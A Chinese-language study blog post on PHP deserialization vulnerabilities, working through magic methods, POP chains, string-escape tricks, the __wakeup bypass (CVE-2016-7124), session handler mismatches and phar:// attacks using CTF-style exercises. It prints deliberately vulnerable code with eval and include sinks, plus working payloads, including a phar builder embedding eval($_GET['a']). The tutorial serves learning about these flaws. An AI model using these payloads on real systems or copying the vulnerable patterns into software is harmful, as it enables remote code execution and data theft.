PHP反序列化漏洞学习

之前没怎么系统的学习过反序列化这一漏洞,抽了个时间看看,记录一下

实例化 与 复制:略。

各个类型实例化:略。

权限修饰符

保护权限(protected)在serialize()之后会在成员属性前加上%00*%00 (看不见的符号是被url编码过的)

私有权限(private)在serialize()之后会在成员属性前加上%00类名%00 (看不见的符号是被url编码过的)

魔法函数

__construct():创建对象时调用

<?php
highlight_file(__FILE__);
class User {
    public $username;
    public function __construct($username) {
        $this->username = $username;
        echo "触发了构造函数1次" ;
    }
}
$test = new User("benben");
$ser = serialize($test);
unserialize($ser);
?>
__construct() 函数是 PHP 中的一个特殊函数,用于在创建对象时初始化对象的属性。当使用 new 关键字创建一个对象时,PHP 会自动调用该类中的 __construct() 函数。在这个例子中,__construct() 函数被用来初始化 User 类的 $username 属性。在创建 User 对象时,需要传递一个 $username 参数,该参数将被用来初始化 $username 属性。

__destruct():对象销毁前调用

<?php
highlight_file(__FILE__);
class User {
    public function __destruct()
    {
        echo "触发了析构函数1次"."<br />" ;
    }
}
$test = new User("benben");
$ser = serialize($test);
unserialize($ser);
?>

__destruct() 函数是一个魔术方法,它在 PHP 对象被销毁时自动调用。它的作用是在对象被销毁之前执行一些清理工作,例如关闭文件、释放资源等。
在该代码中,先因为unserialize() 调用,再因为程序结束(即对象销毁)调用一次

2023-10-27T10:07:22.png

__sleep():序列化serialize()之前调用

<?php
highlight_file(__FILE__);
class User {
    const SITE = 'uusama';
    public $username;
    public $nickname;
    private $password;
    public function __construct($username, $nickname, $password){
        $this->username = $username;
        $this->nickname = $nickname;
        $this->password = $password;
    }
    public function __sleep() {
        return array('username', 'nickname');
    }
}
$user = new User('a', 'b', 'c');
echo serialize($user);
?>
__sleep() 方法是 PHP 魔术方法之一,用于在序列化对象之前清理对象,并返回需要序列化的属性的数组。
在当前例子中,__sleep() 返回了username,nickname,因此只对这两个变量属性进行序列化,最终序列化的结果为O:4:"User":2:{s:8:"username";s:1:"a";s:8:"nickname";s:1:"b";}

__weakup():反序列化unserialize()之前调用

<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
    public $username;
    public $nickname;
    private $password;
    private $order;
    public function __wakeup() {
        $this->password = $this->username;
    }
}
$user_ser = 'O:4:"User":2:{s:8:"username";s:1:"a";s:8:"nickname";s:1:"b";}';
var_dump(unserialize($user_ser));
?>
unserialize()之前调用__wakeup() ,因此$this→password的值为 a

__toString():对象被当成字符串时调用

<?php
highlight_file(__FILE__);
error_reporting(0);

class User
{
    var $benben = "this is test!!";

    public function __toString()
    {
        return '格式不对,输出不了!';
    }
}

$test = new User();
print_r($test);   // 不会调用__toString()方法
echo "<br />";
echo $test;      // 会调用__toString()方法
var_dump($test); // 不会调用__toString()方法
?>

__invoke():把对象当成函数时调用

<?php
highlight_file(__FILE__);
error_reporting(0);

class User
{
    var $benben = "this is test!!";

    public function __invoke()
    {
        echo '它不是个函数!';
    }
}

$test = new User();
echo $test->benben;   // 不会调用__invoke()方法
echo "<br />";
echo $test()->benben; //  会调用__invoke()方法
?>

__call($arg1, $arg2):调用不存在的成员方法则会调用,返回不存在的方法名和参数

<?php
highlight_file(__FILE__);
error_reporting(0);

class User
{
    public function __call($arg1, $arg2)
    {
        echo "$arg1,$arg2[0]";
    }
}

$test = new User();
$test->callxxx('a');
?>

__callStatic($arg1, $arg2):静态调用或调用成员常量时使用的方法不存在,返回不存在的方法名和参数

<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
    public function __callStatic($arg1,$arg2)
    {
        echo "$arg1,$arg2[0]";
          }
}
$test = new User() ;
$test::callxxx('a');
?>

__get($arg1):调用的成员属性不存在时调用,返回不存在的成员属性

<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
    public $var1;
    public function __get($arg1)
    {
        echo  $arg1;
    }
}
$test = new User() ;
$test ->var2;
?>

__set($arg1, $arg2):给不存在的成员属性赋值时调用,返回不存在的成员属性和赋的值

<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
    public $var1;
    public function __set($arg1 ,$arg2)
    {
        echo  $arg1.','.$arg2;
    }
}
$test = new User() ;
$test ->var2=1;
?>

__isset($arg1):对不可访问的成员属性使用isset()或empty()时调用,并返回该属性

<?php
highlight_file(__FILE__);
error_reporting(0);

class User
{
    private $var;
    public $var1;

    public function __isset($arg1)
    {
        echo $arg1;
    }
}
$test = new User();
isset($test->var1);
?>

__unset():对不可访问的成员属性使用unset()时调用,返回该属性

<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
    private $var;
    public function __unset($arg1 )
    {
        echo  $arg1;
    }
}
$test = new User() ;
unset($test->var);
?>

__clone():使用clone关键字拷贝完成一个对象后,新对象自动调用

<?php
highlight_file(__FILE__);
error_reporting(0);

class User
{
    private $var;

    public function __clone()
    {
        echo "__clone test";
    }
}

$test = new User();
$newclass = clone($test);
var_dump($newclass);
?>

2023-10-27T10:08:08.png

POP链

在反序列化中,我们可以控制的数据就是对象中的属性值(成员变量),所以在PHP反序列化中有一种漏洞利用方法叫做“面对属性编程”,即POP(Property Oriented Programming)。

POP链就是利用魔法方法在里面进行多次跳转然后获取敏感数据的一种Payload

POC编写

POC(Proof of concept,译为 概念验证),不完整的程序

字符串逃逸

基础知识:

反序列化以 ;} 结束后面的字符不影响反序列化的结果

成员属性个数和成员属性长度都要保持一致,否则不能反序列化(结果为bool(flase))

对于如下的两个反序列化,输出结果都是bool(flase)

$ser = 'O:1:"A":2:{s:2:"v1";s:6:"st4rry";}';            // 成员属性 数量不对
var_dump(unserialize($ser));
$ser = 'O:1:"A":1:{s:2:"v1";s:7:"st4rry";}';            // 成员属性 长度不对
var_dump(unserialize($ser));

如果反序列化的字符串中还有原本类中没有的成员属性,则反序列化后的对象会包含这个多余的成员属性。(反序列化的结果会包含类中的所有内容)

<?php

class A {
    var $v1 = 'st4rry';
    var $v2 = "koi";
}

echo serialize(new A()),'</br>'
$ser = 'O:1:"A":2:{s:2:"v1";s:6:"st4rry";s:2:"v3";s:3:"666";}';
var_dump(unserialize($ser));

2023-10-27T10:08:54.png

增加逃逸:

<?php
highlight_file(__FILE__);
error_reporting(0);
class A{
    public $v1 = 'ls';
    public $v2 = '123';

    public function __construct($arga,$argc){
        $this->v1 = $arga;
        $this->v2 = $argc;
    }
}
$a = $_GET['v1'];
$b = $_GET['v2'];
$data =  serialize(new A($a,$b));
$data = str_replace("ls","pwd",$data);

var_dump(unserialize($data));

增加字符串逃逸的利用思想是 吐出多余的代码,而;} 后的内容无效,不影响反序列化
对于该部分代码,简化如下:

<?php

class A{
 public $v1 = 'aals';
 public $v2 = '1111';
}
$data =  serialize(new A());    // data= O:1:"A":2:{s:2:"v1";s:4:"aals";s:2:"v2";s:4:"1111";}
$data = str_replace("ls","pwd",$data);  // data = O:1:"A":2:{s:2:"v1";s:4:"aapwd";s:2:"v2";s:4:"1111";},此处成员属性长度不对
var_dump(unserialize($data));

利用思想:将";s:2:"v2";s:4:"1111";} 变为无效字符,即想办法将其放在;} 之后。
该段字符长度为 23,而每替换一次长度增加 1,因此增加 23就可以把该部分字符串挤出去
所以成员属性 v1 要包含 23 个 ls

public $v1 = 'lslslslslslslslslslslslslslslslslslslslslslsls";s:2:"v2";s:4:"1111";}';

相关例题:

<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($name){
    $safe=array("flag","php");
    $name=str_replace($safe,"hack",$name);
    return $name;
}
class test{
    var $user;
    var $pass='daydream';
    function __construct($user){
        $this->user=$user;
    }
}
$param=$_GET['param'];
$param=serialize(new test($param));
$profile=unserialize(filter($param));

if ($profile->pass=='escaping'){
    echo file_get_contents("flag.php");
}
?>

如果实例的pass属性为escaping,即可获取flag。

每次进行php替换为 hack,序列化中的user长度就会加1

先获取需要逃逸的字符

<?php
function filter($name){
    $safe=array("flag","php");
    $name=str_replace($safe,"hack",$name);
    return $name;
}
class test{
    var $user='123';
    var $pass='escaping';
}

$param=serialize(new test());
echo $param;
$profile=unserialize(filter($param));
var_dump($profile);

O:4:"test":2:{s:4:"user";s:3:"123";s:4:"pass";s:8:"escaping";} ,高亮部分即为需要逃逸的字符串,长度为29,则需要,增加的长度为29,在前面增加29个php即可,最终的Payload为

?param=phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}

在源码中即可看到 flag。

减少逃逸:

<?php
highlight_file(__FILE__);
error_reporting(0);
class A{
    public $v1 = "abcsystem()system()system()";
    public $v2 = '123';

    public function __construct($arga,$argc){
            $this->v1 = $arga;
            $this->v2 = $argc;
    }
}
$a = $_GET['v1'];
$b = $_GET['v2'];
$data = serialize(new A($a,$b));
$data = str_replace("system()","",$data);
var_dump(unserialize($data));
?>

减少字符逃逸的思路是: 吃掉有效部分,正确范围 ;} 是无效部分
先简化该部分代码:

<?php
class A{
 public $v1 = "abcsystem()system()system()";
 public $v2 = '123';
}
$data = serialize(new A());  // O:1:"A":2:{s:2:"v1";s:27:"abcsystem()system()system()";s:2:"v2";s:30:"1234567";s:2:"v2";s:4:"1234";}";}
$data = str_replace("system()","",$data);    // 将成员属性中的 system()替换掉,每替换一次长度减少 8
//  O:1:"A":2:{s:2:"v1";s:27:"abc";s:2:"v2";s:3:"111";}   v1的长度不对,因此无法反序列化
var_dump(unserialize($data));
?>

设法补齐被替换掉的27位字符(注意:反序列化会生成固定的";s:2:"v2";s:xx ,xx代表长度)

因此要在v2处设法补齐长度:1234567";s:2:"v2";s:3:"111";} 加上这个刚好

O:1:"A":2:{s:2:"v1";s:27:"abcsystem()system()system()";s:2:"v2";s:30:"1234567";s:2:"v2";s:4:"1234";}";}
O:1:"A":2:{s:2:"v1";s:27:"abc";s:2:"v2";s:3:"111";}

相关例题

<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($name){
    $safe=array("flag","php");
    $name=str_replace($safe,"hk",$name);
    return $name;
}
class test{
    var $user;
    var $pass;
    var $vip = false ;
    function __construct($user,$pass){
        $this->user=$user;
    $this->pass=$pass;
    }
}
$param=$_GET['user'];
$pass=$_GET['pass'];
$param=serialize(new test($param,$pass));
$profile=unserialize(filter($param));

if ($profile->vip){
    echo file_get_contents("flag.php");
}
?>

如果类test的vip为真,则输出flag

每次替换要么长度减1要么减2 (减 1似乎简单点儿)

简化一下代码

<?php
function filter($name)
{
    $safe = array("flag", "php");
    $name = str_replace($safe, "hk", $name);
    return $name;
}
class test
{
    var $user;
    var $pass;
    var $vip = false;
}
$param = serialize(new test());     
echo $param;              //  O:4:"test":3:{s:4:"user";N;s:4:"pass";N;s:3:"vip";b:0;}
$profile = unserialize(filter($param));
?>

Payload:

?user=phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp&pass=x;s:4:"pass";s:3:"123";s:3:"vip";b:1;}

wakeup 绕过(CVE-2016-7124)

<?php
error_reporting(0);
class secret{
    var $file='index.php';

    public function __construct($file){
        $this->file=$file;
    }

    function __destruct(){
        include_once($this->file);
        echo $flag;
    }

    function __wakeup(){
        $this->file='index.php';
    }
}
$cmd=$_GET['cmd'];
if (!isset($cmd)){
    highlight_file(__FILE__);
}
else{
    if (preg_match('/[oc]:\d+:/i',$cmd)){     // 过滤掉形如  O:4 的字符串,可以使用O:+4来绕过
        echo "Are you daydreaming?";
    }
    else{
        unserialize($cmd); 
    }
}
//sercet in flag.php
?>

该cve在序列化后,如果成员属性个数大于实际的个数,则会绕过,不执行__wakeup()魔法函数

引用漏洞

在PHP 中引用的作用:不同的名字访问同一个变量内容

例题代码:

<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
class just4fun {
    var $enter;
    var $secret;
}

if (isset($_GET['pass'])) {
    $pass = $_GET['pass'];
    $pass=str_replace('*','\*',$pass);
}

$o = unserialize($pass);
if ($o) {
    $o->secret = "*";
    if ($o->secret === $o->enter)
        echo "Congratulation! Here is my secret: ".$flag;
    else
        echo "Oh no... You can't fool me";
}
else echo "are you trolling?";
?>

倒着看,当实例的secret的值和enter的值相同时,就会输出我们想要的flag。但是,在在判断之前,仅对实例的secret进行的赋值,这里我们就要联想到 引用

简化一下代码,通通删掉,只留下类的成员属性

<?php
class just4fun {
    var $enter;
    var $secret;
}

$exp = new just4fun();
$exp->secret = &$exp->enter;    // 引用(绑定),相当于同一个变量有两个名字(别名)
echo serialize($exp);
?>

//运行 得到poc :O:8:"just4fun":2:{s:5:"enter";N;s:6:"secret";R:2;}

Session_PHP反序列化漏洞

PHP session序列化机制

模式存储格式
php键名+竖线(
benbens:4:"1111";
php_serialize(php>=5.5.4)经过 serialize() 函数序列处理的数组
a:1:{s:6:"benben";s:3:"111";}
php_binary键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数反序列处理的值(可以使用010Editor打开查看)

漏洞产生的原因:写入格式 与 读取格式不一致,php模式下,会以 | 作为分隔符,将其后面的内容进行反序列化

php.ini的配置文件中与session相关的一些重要配置

session.save_path="/tmp"      --设置session文件的存储位置
session.save_handler=files    --设定用户自定义存储函数,如果想使用PHP内置session存储机制之外的可以使用这个函数
session.auto_start= 0          --指定会话模块是否在请求开始时启动一个会话,默认值为 0,不启动
session.serialize_handler= php --定义用来序列化/反序列化的处理器名字,默认使用php  
session.upload_progress.enabled= On --启用上传进度跟踪,并填充$ _SESSION变量,默认启用
session.upload_progress.cleanup= oN --读取所有POST数据(即完成上传)后立即清理进度信息,默认启用

默认为php模式

<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('session.serialize_handler','php_binary');        // 修改模式
session_start();
$_SESSION['benben'] = $_GET['ben'];
$_SESSION['b'] = $_GET['b'];
?>

例题:

// 获取session并以 php_serialize模式 存储的页面   ( save.php )
<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['ben'] = $_GET['a'];
?>
// 以php 模式解析session   (vul.php)
<?php 
highlight_file(__FILE__);
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();

class D{
    var $a;
    function __destruct(){
        eval($this->a);
    }
}
?>

php模式下会将session中 | 后的内容进行反序列化,因此我们可以在设计好的序列化内容前加上竖线,例如|O:1:"D":1:{s:1:"a";s:10:"phpinfo();";}

因此payload可以为

?a=|O:1:"D":1:{s:1:"a";s:10:"phpinfo();";}

通过php_serialize模式存储的session为a:1:{s:3:"ben";s:39:"|O:1:"D":1:{s:1:"a";s:10:"phpinfo();";}

Phar

2023-10-27T10:09:56.png

生成phar的脚本

<?php
highlight_file(__FILE__);
class Testobj             // 只需要根据需求修改类和属性
{
    var $output='';
}

@unlink('test.phar');   //删除之前的test.par文件(如果有)
$phar=new Phar('test.phar');  //创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering();  //开始写文件
$phar->setStub('<?php __HALT_COMPILER(); ?>');  //写入stub
$o=new Testobj();
$o->output='eval($_GET["a"]);';
$phar->setMetadata($o);//写入meta-data
$phar->addFromString("test.txt","test");  //添加要压缩的文件
$phar->stopBuffering();
?>

phar://协议读取文件不需要文件后缀为.phar ,可以改为png,jpg等

例题:index.php

<?php
highlight_file(__FILE__);
error_reporting(0);
class TestObject {
    public function __destruct() {
        include('flag.php');
        echo $flag;
    }
}
$filename = $_POST['file'];
if (isset($filename)){
    echo md5_file($filename);
}
//upload.php   //只允许上传 图片
?>

payload:

<?php
highlight_file(__FILE__);
class TestObject
{
    var $output='';
}

@unlink('exp.phar');   //删除之前的test.par文件(如果有)
$phar=new Phar('exp.phar');  //创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering();  //开始写文件
$phar->setStub('<?php __HALT_COMPILER(); ?>');  //写入stub
$o=new TestObject();
$phar->setMetadata($o);//写入meta-data
$phar->addFromString("test.txt","test");  //添加要压缩的文件
$phar->stopBuffering();
?>

修改exp.phar 为exp.png

//Post传参
filename=upload/exp.png
Last modification:October 27, 2023
请我喝瓶冰阔落吧